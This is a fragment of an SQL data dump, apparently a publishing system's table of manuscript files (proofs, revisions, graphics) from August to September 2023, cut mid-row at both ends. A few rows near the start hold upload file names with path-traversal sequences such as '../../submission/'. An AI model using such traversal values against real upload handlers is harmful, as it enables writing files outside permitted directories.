12:34:18',1,1,0),(37913,0,'../test-rith-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:35:15',1,1,0),(37914,0,'../../-mvkf-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:36:02',1,1,0),(37915,0,'../../submissiop-5h2n-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:36:15',1,1,0),(37916,0,'../../submissiop/-wc1f-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:36:30',1,1,0),(37917,0,'../../submission/hi-l7j2-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:36:45',1,1,0),(37918,0,'../../submissions/hi-uanw-Manuscript-2023-08-11.png',NULL,'2023-08-11 12:37:29',1,1,0),(37919,13996,'13996-hlex-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:16:56',1,3,0),(37920,13997,'13997-fap8-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:17:14',1,3,0),(37921,13998,'13998-b7sl-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:17:41',1,3,0),(37922,13999,'13999-5okx-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:17:58',1,3,0),(37923,14000,'14000-ylim-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:18:14',1,3,0),(37924,14001,'14001-d7u1-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:18:31',1,3,0),(37925,14002,'14002-f0gw-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:18:52',1,3,0),(37926,14003,'14003-06x1-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:19:11',1,3,0),(37927,14005,'14005-awm0-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:19:26',1,3,0),(37928,14015,'14015-1myd-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 14:20:07',1,3,0),(37929,14020,'14020-yi2o-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:11:29',1,3,0),(37930,14019,'14019-mfo5-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:12:10',1,3,0),(37931,14018,'14018-jc41-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:12:39',1,3,0),(37932,14017,'14017-twuo-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:12:53',1,3,0),(37933,14016,'14016-8jfs-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:13:07',1,3,0),(37934,14011,'14011-kg0q-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:13:26',1,3,0),(37935,14010,'14010-dbtq-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:13:40',1,3,0),(37936,14009,'14009-z5gp-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:14:01',1,3,0),(37937,14008,'14008-v24h-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:14:20',1,3,0),(37938,14007,'14007-3y09-Manuscript-proof-submission-2023-08-11.rar',NULL,'2023-08-11 15:14:37',1,3,0),(37939,14022,'14022-0-Manuscript-2023-08-11.docx',NULL,'2023-08-11 20:36:14',1,1,0),(37940,14022,'14022-1-Manuscript-2023-08-11.docx',NULL,'2023-08-11 20:36:14',1,1,0),(37941,14022,'14022-2-Manuscript-2023-08-11.docx',NULL,'2023-08-11 20:36:14',1,1,0),(37942,14021,'14021-29j0-Manuscript-2023-08-14.docx',NULL,'2023-08-14 09:47:38',1,1,0),(37943,14012,'14012-wiyh-Manuscript-proof-submission-2023-08-14.rar',NULL,'2023-08-14 09:50:39',1,3,0),(37944,14013,'14013-4opu-Manuscript-proof-submission-2023-08-14.rar',NULL,'2023-08-14 09:52:12',1,3,0),(37945,14012,'14012-Manuscript-2023-08-14-0d9b-ap-team-revised.rar',NULL,'2023-08-14 10:07:13',1,3,1),(37946,14013,'14013-Manuscript-2023-08-14-ro3k-ap-team-revised.rar',NULL,'2023-08-14 10:07:59',1,3,1),(37947,14013,'14013-Manuscript-2023-08-14-0aqh-graphic-completed.pdf',NULL,'2023-08-14 11:02:55',1,3,0),(37948,14012,'14012-Manuscript-2023-08-14-o6l1-graphic-completed.pdf',NULL,'2023-08-14 11:03:12',1,3,0),(37949,14015,'14015-Manuscript-2023-08-16-e6dj-ap-team-revised.rar',NULL,'2023-08-16 10:02:27',1,3,1),(37950,13996,'13996-Manuscript-2023-08-16-8v5f-ap-team-revised.rar',NULL,'2023-08-16 10:02:59',1,3,1),(37951,13997,'13997-Manuscript-2023-08-16-5uoc-ap-team-revised.rar',NULL,'2023-08-16 10:03:32',1,3,1),(37952,13998,'13998-Manuscript-2023-08-16-fc5o-ap-team-revised.rar',NULL,'2023-08-16 10:04:32',1,3,1),(37953,13999,'13999-Manuscript-2023-08-16-7rgy-ap-team-revised.rar',NULL,'2023-08-16 10:04:57',1,3,1),(37954,14000,'14000-Manuscript-2023-08-16-otw1-ap-team-revised.rar',NULL,'2023-08-16 10:05:30',1,3,1),(37955,14001,'14001-Manuscript-2023-08-16-irk7-ap-team-revised.rar',NULL,'2023-08-16 10:05:55',1,3,1),(37956,14002,'14002-Manuscript-2023-08-16-ds1p-ap-team-revised.rar',NULL,'2023-08-16 10:09:02',1,3,1),(37957,14003,'14003-Manuscript-2023-08-16-cf2q-ap-team-revised.rar',NULL,'2023-08-16 10:09:29',1,3,1),(37958,14005,'14005-Manuscript-2023-08-16-z9im-ap-team-revised.rar',NULL,'2023-08-16 10:09:51',1,3,1),(37959,14016,'14016-Manuscript-2023-08-16-7s61-ap-team-revised.rar',NULL,'2023-08-16 13:27:48',1,3,1),(37960,14011,'14011-Manuscript-2023-08-16-z3j1-ap-team-revised.rar',NULL,'2023-08-16 13:28:16',1,3,1),(37961,14017,'14017-Manuscript-2023-08-16-uql0-ap-team-revised.rar',NULL,'2023-08-16 13:28:39',1,3,1),(37962,14018,'14018-Manuscript-2023-08-16-quoz-ap-team-revised.rar',NULL,'2023-08-16 13:29:06',1,3,1),(37963,14019,'14019-Manuscript-2023-08-16-to1s-ap-team-revised.rar',NULL,'2023-08-16 13:29:31',1,3,1),(37964,14020,'14020-Manuscript-2023-08-16-x6fg-ap-team-revised.rar',NULL,'2023-08-16 13:29:59',1,3,1),(37965,14007,'14007-Manuscript-2023-08-16-mhtc-ap-team-revised.rar',NULL,'2023-08-16 13:32:04',1,3,1),(37966,14008,'14008-Manuscript-2023-08-16-r6vo-ap-team-revised.rar',NULL,'2023-08-16 13:32:29',1,3,1),(37967,14010,'14010-Manuscript-2023-08-16-zn68-ap-team-revised.rar',NULL,'2023-08-16 13:33:04',1,3,1),(37968,14009,'14009-Manuscript-2023-08-16-ai7q-ap-team-revised.rar',NULL,'2023-08-16 13:33:34',1,3,1),(37969,14023,'14023-0-Manuscript-2023-08-16.docx',NULL,'2023-08-16 14:03:53',1,1,0),(37970,13971,'13971-Manuscript-2023-08-16-xg8t.pdf',NULL,'2023-08-16 14:21:04',1,3,0),(37971,14005,'14005-Manuscript-2023-08-17-cv4e-graphic-completed.pdf',NULL,'2023-08-17 14:45:58',1,3,0),(37972,14003,'14003-Manuscript-2023-08-17-es4l-graphic-completed.pdf',NULL,'2023-08-17 14:46:19',1,3,0),(37973,14002,'14002-Manuscript-2023-08-17-b61j-graphic-completed.pdf',NULL,'2023-08-17 14:46:23',1,3,0),(37974,13999,'13999-Manuscript-2023-08-17-rdu9-graphic-completed.pdf',NULL,'2023-08-17 14:46:44',1,3,0),(37975,14001,'14001-Manuscript-2023-08-17-lw5p-graphic-completed.pdf',NULL,'2023-08-17 14:46:48',1,3,0),(37976,13998,'13998-Manuscript-2023-08-17-n3gj-graphic-completed.pdf',NULL,'2023-08-17 14:46:56',1,3,0),(37977,13997,'13997-Manuscript-2023-08-17-1nwm-graphic-completed.pdf',NULL,'2023-08-17 14:47:03',1,3,0),(37978,13996,'13996-Manuscript-2023-08-17-2l0b-graphic-completed.pdf',NULL,'2023-08-17 14:47:09',1,3,0),(37979,14015,'14015-Manuscript-2023-08-17-io25-graphic-completed.pdf',NULL,'2023-08-17 14:47:17',1,3,0),(37980,13987,'13987-6t01-Manuscript-proof-submission-2023-08-17.rar',NULL,'2023-08-17 15:21:05',1,3,0),(37981,13998,'13998-Manuscript-2023-08-17-uhpa-graphic-completed.pdf',NULL,'2023-08-17 15:37:09',1,3,0),(37982,13917,'13917-xgcn-Manuscript-proof-submission-2023-08-18.rar',NULL,'2023-08-18 11:21:17',1,3,0),(37983,13987,'13987-Manuscript-2023-08-18-eadm-ap-team-revised.rar',NULL,'2023-08-18 11:45:46',1,3,1),(37984,14021,'14021-nc7y-Manuscript-proof-submission-2023-08-18.rar',NULL,'2023-08-18 13:52:52',1,3,0),(37985,14006,'14006-08fa-Manuscript-proof-submission-2023-08-18.rar',NULL,'2023-08-18 15:38:35',1,3,0),(37986,14014,'14014-53gv-Manuscript-proof-submission-2023-08-18.rar',NULL,'2023-08-18 15:40:48',1,3,0),(37987,13983,'13983-8h3u-Manuscript-proof-submission-2023-08-18.rar',NULL,'2023-08-18 17:22:42',1,3,0),(37988,13983,'13983-Manuscript-2023-08-18-ej1g-ap-team-revised.rar',NULL,'2023-08-18 17:49:16',1,3,0),(37989,13987,'13987-Manuscript-2023-08-19-dr4q-graphic-completed.pdf',NULL,'2023-08-19 09:59:20',1,3,0),(37990,13983,'13983-Manuscript-2023-08-19-vh3p-graphic-completed.pdf',NULL,'2023-08-19 10:11:49',1,3,0),(37991,14021,'14021-Manuscript-2023-08-19-jyva-ap-team-revised.rar',NULL,'2023-08-19 11:57:36',1,3,1),(37992,14014,'14014-Manuscript-2023-08-19-muwe-ap-team-revised.rar',NULL,'2023-08-19 11:58:09',1,3,1),(37993,14006,'14006-Manuscript-2023-08-19-zqkr-ap-team-revised.rar',NULL,'2023-08-19 11:58:30',1,3,1),(37995,14021,'14021-Manuscript-2023-08-21-gwz1-graphic-completed.pdf',NULL,'2023-08-21 14:53:05',1,3,0),(37996,14014,'14014-Manuscript-2023-08-21-0td8-graphic-completed.pdf',NULL,'2023-08-21 14:53:17',1,3,0),(37997,14006,'14006-Manuscript-2023-08-21-6g1p-graphic-completed.pdf',NULL,'2023-08-21 14:53:28',1,3,0),(37998,14024,'14024-0-Manuscript-2023-08-21.docx','','2023-08-21 00:00:00',1,1,0),(37999,13983,'13983-Manuscript-2023-08-22-ryxj.pdf',NULL,'2023-08-22 10:07:30',1,3,0),(38000,14025,'14025-0-Manuscript-2023-08-22.docx',NULL,'2023-08-22 10:17:01',1,1,0),(38001,14026,'14026-0-Manuscript-2023-08-22.docx',NULL,'2023-08-22 11:05:52',1,1,0),(38002,14015,'14015-Manuscript-2023-08-22-cukm.pdf',NULL,'2023-08-22 11:16:44',1,3,1),(38003,13996,'13996-Manuscript-2023-08-22-9scw.pdf',NULL,'2023-08-22 11:17:56',1,3,1),(38004,13997,'13997-Manuscript-2023-08-22-uf7k.pdf',NULL,'2023-08-22 11:18:46',1,3,1),(38005,13998,'13998-Manuscript-2023-08-22-l9mz.pdf',NULL,'2023-08-22 11:19:45',1,3,1),(38006,13999,'13999-Manuscript-2023-08-22-xjhw.pdf',NULL,'2023-08-22 11:20:40',1,3,1),(38007,14001,'14001-Manuscript-2023-08-22-5rmv.pdf',NULL,'2023-08-22 11:36:56',1,3,1),(38008,14005,'14005-Manuscript-2023-08-22-1hrc.pdf',NULL,'2023-08-22 11:48:33',1,3,1),(38009,14003,'14003-Manuscript-2023-08-22-q2fc.pdf',NULL,'2023-08-22 11:49:51',1,3,1),(38010,14002,'14002-Manuscript-2023-08-22-nqo0.pdf',NULL,'2023-08-22 11:51:00',1,3,1),(38011,14011,'14011-Manuscript-2023-08-22-koql-move-pdf-making.pdf',NULL,'2023-08-22 15:19:05',1,3,0),(38012,14010,'14010-Manuscript-2023-08-22-jf2d-move-pdf-making.pdf',NULL,'2023-08-22 15:19:56',1,3,0),(38013,14009,'14009-Manuscript-2023-08-22-39j7-move-pdf-making.pdf',NULL,'2023-08-22 15:20:36',1,3,0),(38014,14008,'14008-Manuscript-2023-08-22-r876-move-pdf-making.pdf',NULL,'2023-08-22 15:21:12',1,3,0),(38015,14007,'14007-Manuscript-2023-08-22-jal8-move-pdf-making.pdf',NULL,'2023-08-22 15:22:26',1,3,0),(38016,14020,'14020-Manuscript-2023-08-22-x6ea-move-pdf-making.pdf',NULL,'2023-08-22 15:24:06',1,3,0),(38017,14019,'14019-Manuscript-2023-08-22-g3wb-move-pdf-making.pdf',NULL,'2023-08-22 15:24:35',1,3,0),(38018,14018,'14018-Manuscript-2023-08-22-oprg-move-pdf-making.pdf',NULL,'2023-08-22 15:25:03',1,3,0),(38019,14017,'14017-Manuscript-2023-08-22-d7xy-move-pdf-making.pdf',NULL,'2023-08-22 15:25:35',1,3,0),(38020,14016,'14016-Manuscript-2023-08-22-fd28-move-pdf-making.pdf',NULL,'2023-08-22 15:26:10',1,3,0),(38021,14027,'14027-0-Manuscript-2023-08-23.docx',NULL,'2023-08-23 10:13:30',1,1,0),(38022,14028,'14028-0-Manuscript-2023-08-23.docx',NULL,'2023-08-23 10:17:39',1,1,0),(38023,14016,'14016-Manuscript-2023-08-23-0zae.pdf',NULL,'2023-08-23 14:55:57',1,3,1),(38024,14017,'14017-Manuscript-2023-08-23-g6td.pdf',NULL,'2023-08-23 14:56:45',1,3,1),(38025,14018,'14018-Manuscript-2023-08-23-3giu.pdf',NULL,'2023-08-23 14:57:32',1,3,1),(38026,14019,'14019-Manuscript-2023-08-23-98bz.pdf',NULL,'2023-08-23 14:58:47',1,3,1),(38027,14020,'14020-Manuscript-2023-08-23-31eh.pdf',NULL,'2023-08-23 15:03:29',1,3,1),(38028,14007,'14007-Manuscript-2023-08-23-kyxe.pdf',NULL,'2023-08-23 15:04:37',1,3,1),(38029,14008,'14008-Manuscript-2023-08-23-gz1p.pdf',NULL,'2023-08-23 15:11:20',1,3,1),(38030,14011,'14011-Manuscript-2023-08-23-vtms.pdf',NULL,'2023-08-23 15:12:52',1,3,1),(38031,14009,'14009-Manuscript-2023-08-23-7zdh.pdf',NULL,'2023-08-23 15:53:13',1,3,1),(38032,14010,'14010-Manuscript-2023-08-23-2t7f.pdf',NULL,'2023-08-23 15:53:40',1,3,1),(38033,13926,'13926-kjcu-Manuscript-proof-submission-2023-08-24.docx',NULL,'2023-08-24 13:27:11',1,3,0),(38034,13925,'13925-cbt5-Manuscript-proof-submission-2023-08-24.docx',NULL,'2023-08-24 13:27:56',1,3,0),(38035,13923,'13923-r6nq-Manuscript-proof-submission-2023-08-24.docx',NULL,'2023-08-24 13:29:24',1,3,0),(38036,13922,'13922-6g8z-Manuscript-proof-submission-2023-08-24.docx',NULL,'2023-08-24 13:30:52',1,3,0),(38037,14029,'14029-0-Manuscript-2023-08-24.docx',NULL,'2023-08-24 13:37:09',1,1,0),(38038,14000,'14000-Manuscript-2023-08-25-dkw2.pdf',NULL,'2023-08-25 11:59:36',1,3,1),(38039,13949,'13949-8jn7-Manuscript-proof-submission-2023-08-26.docx',NULL,'2023-08-26 09:56:38',1,3,0),(38040,14030,'14030-0-Manuscript-2023-08-26.docx',NULL,'2023-08-26 10:32:44',1,1,0),(38041,14031,'14031-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 09:37:22',1,1,0),(38042,14032,'14032-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:41:15',1,1,0),(38043,14033,'14033-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:43:36',1,1,0),(38044,14034,'14034-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:45:50',1,1,0),(38045,14035,'14035-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:48:24',1,1,0),(38046,14036,'14036-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:51:07',1,1,0),(38047,14037,'14037-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:53:32',1,1,0),(38048,14038,'14038-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:55:29',1,1,0),(38049,14039,'14039-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 10:59:27',1,1,0),(38050,14040,'14040-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 11:01:45',1,1,0),(38051,14041,'14041-0-Manuscript-2023-08-28.docx',NULL,'2023-08-28 11:16:33',1,1,0),(38052,13949,'13949-Manuscript-2023-08-29-xw0b-move-pdf-making.pdf',NULL,'2023-08-29 09:20:21',1,3,0),(38053,14021,'14021-Manuscript-2023-08-29-48hk.pdf',NULL,'2023-08-29 11:41:19',1,3,1),(38054,14014,'14014-Manuscript-2023-08-29-as9e.pdf',NULL,'2023-08-29 11:42:26',1,3,1),(38055,14006,'14006-Manuscript-2023-08-29-yv57.pdf',NULL,'2023-08-29 11:43:16',1,3,1),(38056,14041,'14041-4zb2-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 17:58:39',1,3,0),(38057,14040,'14040-hy7f-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 17:59:36',1,3,0),(38058,14039,'14039-bs31-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:00:49',1,3,0),(38059,14038,'14038-bmxq-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:01:58',1,3,0),(38060,14037,'14037-2w1z-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:02:57',1,3,0),(38061,14036,'14036-pbny-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:03:52',1,3,0),(38062,14035,'14035-kfrv-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:04:48',1,3,0),(38063,14034,'14034-fz6b-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:05:29',1,3,0),(38064,14033,'14033-z8xu-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:06:11',1,3,0),(38065,14032,'14032-y6lq-Manuscript-proof-submission-2023-08-29.rar',NULL,'2023-08-29 18:07:01',1,3,0),(38066,14042,'14042-0-Manuscript-2023-08-29.pdf',NULL,'2023-08-29 19:38:06',1,1,0),(38067,14042,'14042-1-Manuscript-2023-08-29.jpg',NULL,'2023-08-29 19:38:07',1,1,0),(38068,14043,'14043-0-Manuscript-2023-08-30.docx',NULL,'2023-08-30 10:56:18',1,1,0),(38069,14044,'14044-0-Manuscript-2023-08-30.docx',NULL,'2023-08-30 10:57:23',1,1,0),(38070,14025,'14025-0w3y-Manuscript-proof-submission-2023-08-30.rar',NULL,'2023-08-30 17:07:27',1,3,0),(38071,13790,'13790-Manuscript-2023-08-30-y1jm-qcfupteam-revised.docx',NULL,'2023-08-30 17:25:39',1,4,0),(38072,13834,'13834-Manuscript-2023-08-30-u5s7-qcfupteam-revised.docx',NULL,'2023-08-30 17:28:33',1,4,0),(38073,14032,'14032-Manuscript-2023-08-30-spuq-ap-team-revised.rar',NULL,'2023-08-30 17:43:46',1,3,1),(38074,14033,'14033-Manuscript-2023-08-30-4lbc-ap-team-revised.rar',NULL,'2023-08-30 17:44:10',1,3,1),(38075,14034,'14034-Manuscript-2023-08-30-amfj-ap-team-revised.rar',NULL,'2023-08-30 17:45:18',1,3,1),(38076,14035,'14035-Manuscript-2023-08-30-wbqc-ap-team-revised.rar',NULL,'2023-08-30 17:45:52',1,3,1),(38077,14036,'14036-Manuscript-2023-08-30-s5bd-ap-team-revised.rar',NULL,'2023-08-30 17:46:16',1,3,1),(38078,14037,'14037-Manuscript-2023-08-30-4sd2-ap-team-revised.rar',NULL,'2023-08-30 17:46:38',1,3,0),(38079,14041,'14041-Manuscript-2023-08-30-hi2v-ap-team-revised.rar',NULL,'2023-08-30 17:47:02',1,3,1),(38080,14040,'14040-Manuscript-2023-08-30-5hgq-ap-team-revised.rar',NULL,'2023-08-30 17:47:33',1,3,1),(38081,14039,'14039-Manuscript-2023-08-30-zw90-ap-team-revised.rar',NULL,'2023-08-30 17:48:13',1,3,1),(38082,14038,'14038-Manuscript-2023-08-30-c691-ap-team-revised.rar',NULL,'2023-08-30 17:48:48',1,3,1),(38083,14012,'14012-Manuscript-2023-08-31-g6bu.pdf',NULL,'2023-08-31 10:30:30',1,3,0),(38084,14012,'14012-Manuscript-2023-08-31-i7gw.pdf',NULL,'2023-08-31 10:32:13',1,3,1),(38085,13987,'13987-Manuscript-2023-08-31-gx7b.pdf',NULL,'2023-08-31 10:43:17',1,3,1),(38086,14013,'14013-Manuscript-2023-08-31-5nzw.pdf',NULL,'2023-08-31 10:50:58',1,3,1),(38087,14045,'13747-0-Manuscript-2023-05-06.docx','','2023-05-06 00:00:00',1,1,0),(38088,14045,'14045-Manuscript-2023-08-31-zegw-qcfupteam-revised.docx',NULL,'2023-08-31 11:30:38',1,1,0),(38089,14046,'13815-0-Manuscript-2023-06-14.docx','','2023-06-14 00:00:00',1,1,0),(38090,14046,'14046-Manuscript-2023-08-31-9yk6-qcfupteam-revised.docx',NULL,'2023-08-31 12:07:54',1,1,0),(38091,14047,'14047-0-Manuscript-2023-08-31.docx',NULL,'2023-08-31 13:38:13',1,1,0),(38092,14025,'14025-Manuscript-2023-08-31-813b-ap-team-revised.rar',NULL,'2023-08-31 14:42:13',1,3,1),(38095,14049,'13819-0-Manuscript-2023-06-14.docx','','2023-06-14 00:00:00',1,1,0),(38096,14049,'14049-Manuscript-2023-08-31-vrdm-qcfupteam-revised.docx',NULL,'2023-08-31 15:53:07',1,1,0),(38097,14050,'13822-0-Manuscript-2023-06-14.docx','','2023-06-14 00:00:00',1,1,0),(38098,14050,'14050-Manuscript-2023-08-31-wi8m-qcfupteam-revised.docx',NULL,'2023-08-31 15:54:35',1,1,0),(38099,14051,'13821-0-Manuscript-2023-06-14.docx','','2023-06-14 00:00:00',1,1,0),(38100,14051,'14051-Manuscript-2023-08-31-plra-qcfupteam-revised.docx',NULL,'2023-08-31 15:57:09',1,1,0),(38101,14052,'13833-0-Manuscript-2023-06-17.docx','','2023-06-17 00:00:00',1,1,0),(38102,14052,'14052-Manuscript-2023-08-31-us4x-qcfupteam-revised.docx',NULL,'2023-08-31 16:03:29',1,1,0),(38103,14053,'13851-0-Manuscript-2023-06-21.docx','','2023-06-21 00:00:00',1,1,0),(38104,14053,'14053-Manuscript-2023-08-31-2g60-qcfupteam-revised.docx',NULL,'2023-08-31 17:10:47',1,1,0),(38107,14055,'13881-0-Manuscript-2023-06-29.docx','','2023-06-29 00:00:00',1,1,0),(38108,14055,'14055-Manuscript-2023-08-31-d24q-qcfupteam-revised.docx',NULL,'2023-08-31 17:51:37',1,1,0),(38109,14056,'13928-0-Manuscript-2023-07-17.docx','','2023-07-17 00:00:00',1,1,0),(38110,14056,'14056-Manuscript-2023-09-01-oi68-qcfupteam-revised.docx',NULL,'2023-09-01 10:18:31',1,1,0),(38111,14026,'14026-jsob-Manuscript-proof-submission-2023-09-01.rar',NULL,'2023-09-01 11:32:49',1,3,0),(38112,14026,'14026-Manuscript-2023-09-01-rmdj-ap-team-revised.rar',NULL,'2023-09-01 13:13:26',1,3,1),(38113,13936,'13936-Manuscript-2023-09-01-5b42-move-pdf-making.pdf',NULL,'2023-09-01 13:43:03',1,3,0),(38114,13919,'13919-Manuscript-2023-09-01-vp17-move-pdf-making.docx',NULL,'2023-09-01 13:44:15',1,3,0),(38115,13918,'13918-Manuscript-2023-09-01-k71y-move-pdf-making.pdf',NULL,'2023-09-01 13:46:14',1,3,0),(38116,13922,'13922-Manuscript-2023-09-01-zugv-move-pdf-making.pdf',NULL,'2023-09-01 13:54:16',1,3,0),(38117,13921,'13921-Manuscript-2023-09-01-7vch-move-pdf-making.pdf',NULL,'2023-09-01 13:55:32',1,3,0),(38118,13920,'13920-Manuscript-2023-09-01-zi2n-move-pdf-making.pdf',NULL,'2023-09-01 14:01:15',1,3,0),(38119,13923,'13923-Manuscript-2023-09-01-uqcp-move-pdf-making.pdf',NULL,'2023-09-01 14:10:09',1,3,0),(38120,13926,'13926-Manuscript-2023-09-01-1x3b-move-pdf-making.pdf',NULL,'2023-09-01 14:11:24',1,3,0),(38121,13925,'13925-Manuscript-2023-09-01-jv5y-move-pdf-making.pdf',NULL,'2023-09-01 14:18:19',1,3,0),(38122,13924,'13924-Manuscript-2023-09-01-iw0l-move-pdf-making.pdf',NULL,'2023-09-01 14:19:42',1,3,0),(38123,14025,'14025-Manuscript-2023-09-01-bx75-graphic-completed.pdf',NULL,'2023-09-01 15:33:29',1,3,0),(38124,14026,'14026-Manuscript-2023-09-01-8p4f-graphic-completed.pdf',NULL,'2023-09-01 16:47:39',1,3,0),(38125,14041,'14041-Manuscript-2023-09-01-c8lx-graphic-completed.pdf',NULL,'2023-09-01 19:53:59',1,3,0),(38126,14039,'14039-Manuscript-2023-09-01-0czr-graphic-completed.pdf',NULL,'2023-09-01 19:54:25',1,3,0),(38127,14040,'14040-Manuscript-2023-09-01-b0ip-graphic-completed.pdf',NULL,'2023-09-01 19:54:28',1,3,0),(38128,14038,'14038-Manuscript-2023-09-01-7tfl-graphic-completed.pdf',NULL,'2023-09-01 19:54:44',1,3,0),(38129,14036,'14036-Manuscript-2023-09-01-c5fj-graphic-completed.pdf',NULL,'2023-09-01 19:55:17',1,3,0),(38130,14035,'14035-Manuscript-2023-09-01-p28l-graphic-completed.pdf',NULL,'2023-09-01 19:55:24',1,3,0),(38131,14034,'14034-Manuscript-2023-09-01-nwmc-graphic-completed.pdf',NULL,'2023-09-01 19:55:41',1,3,0),(38132,14033,'14033-Manuscript-2023-09-01-1tze-graphic-completed.pdf',NULL,'2023-09-01 19:55:53',1,3,0),(38133,14032,'14032-Manuscript-2023-09-01-pckx-graphic-completed.pdf',NULL,'2023-09-01 19:56:10',1,3,0),(38134,14037,'14037-Manuscript-2023-09-01-krf2-graphic-completed.pdf',NULL,'2023-09-01 19:56:39',1,3,0),(38135,14041,'14041-Manuscript-2023-09-02-xb8o.pdf',NULL,'2023-09-02 09:17:50',1,3,1),(38136,14040,'14040-Manuscript-2023-09-02-qg19.pdf',NULL,'2023-09-02 09:19:08',1,3,0),(38138,14032,'14032-Manuscript-2023-09-02-wm2v.pdf',NULL,'2023-09-02 11:06:52',1,3,1),(38139,14033,'14033-Manuscript-2023-09-02-s7np.pdf',NULL,'2023-09-02 11:09:11',1,3,1),(38140,14036,'14036-Manuscript-2023-09-02-u51c.pdf',NULL,'2023-09-02 11:12:23',1,3,1),(38141,14034,'14034-Manuscript-2023-09-02-51c4.pdf',NULL,'2023-09-02 11:13:11',1,3,1),(38142,14035,'14035-Manuscript-2023-09-02-x3wu.pdf',NULL,'2023-09-02 11:14:09',1,3,1),(38143,14037,'14037-Manuscript-2023-09-02-gv2a.pdf',NULL,'2023-09-02 11:14:56',1,3,0),(38144,14038,'14038-Manuscript-2023-09-02-p0gu.pdf',NULL,'2023-09-02 11:15:55',1,3,1),(38145,14040,'14040-Manuscript-2023-09-02-ixwq.pdf',NULL,'2023-09-02 11:17:16',1,3,1),(38146,14039,'14039-Manuscript-2023-09-02-ihyf.pdf',NULL,'2023-09-02 11:18:06',1,3,1),(38147,14058,'14058-0-Manuscript-2023-09-03.docx',NULL,'2023-09-04 03:45:03',1,1,0),(38148,14027,'14027-pk0q-Manuscript-proof-submission-2023-09-04.rar',NULL,'2023-09-04 09:55:47',1,3,0),(38149,14028,'14028-vjm1-Manuscript-proof-submission-2023-09-04.rar',NULL,'2023-09-04 09:56:59',1,3,0),(38150,14025,'14025-Manuscript-2023-09-04-f0kc.pdf',NULL,'2023-09-04 13:17:34',1,3,1),(38151,14026,'14026-Manuscript-2023-09-04-q20y.pdf',NULL,'2023-09-04 13:18:23',1,3,1),(38152,14028,'14028-Manuscript-2023-09-04-nq3k-ap-team-revised.rar',NULL,'2023-09-04 14:13:22',1,3,1),(38153,14027,'14027-Manuscript-2023-09-04-anjo-ap-team-revised.rar',NULL,'2023-09-04 14:14:03',1,3,1),(38154,14059,'14059-0-Manuscript-2023-09-04.docx',NULL,'2023-09-05 02:52:30',1,1,0),(38155,14059,'14059-1-Manuscript-2023-09-04.pdf',NULL,'2023-09-05 02:52:30',1,1,0),(38156,14059,'14059-2-Manuscript-2023-09-04.pdf',NULL,'2023-09-05 02:52:30',1,1,0),(38157,13917,'13917-Manuscript-2023-09-06-vop2-ap-team-revised.docx',NULL,'2023-09-06 10:25:51',1,3,0),(38158,13971,'13971-qmz5-Manuscript-proof-submission-2023-09-06.rar',NULL,'2023-09-06 10:37:15',1,3,0),(38159,14027,'14027-Manuscript-2023-09-06-cd4l-graphic-completed.pdf',NULL,'2023-09-06 13:07:55',1,3,0),(38160,14028,'14028-Manuscript-2023-09-06-934m-graphic-completed.pdf',NULL,'2023-09-06 13:08:08',1,3,0),(38161,13917,'13917-Manuscript-2023-09-06-gfmr-graphic-completed.pdf',NULL,'2023-09-06 16:08:08',1,3,0),(38162,13917,'13917-Manuscript-2023-09-06-tpgq-graphic-completed.pdf',NULL,'2023-09-06 17:13:22',1,3,0),(38163,14023,'14023-ilhv-Manuscript-proof-submission-2023-09-06.docx',NULL,'2023-09-06 17:51:59',1,3,0),(38164,14023,'14023-8v3h-Manuscript-proof-submission-2023-09-06.docx',NULL,'2023-09-06 17:52:02',1,3,0),(38165,14060,'14060-0-Manuscript-2023-09-07.docx',NULL,'2023-09-07 11:44:50',1,1,0),(38166,14061,'14061-0-Manuscript-2023-09-07.docx',NULL,'2023-09-07 14:58:23',1,1,0),(38167,14062,'14062-0-Manuscript-2023-09-07.docx',NULL,'2023-09-08 00:28:30',1,1,0),(38168,14023,'14023-Manuscript-2023-09-08-r27m-move-pdf-making.pdf',NULL,'2023-09-08 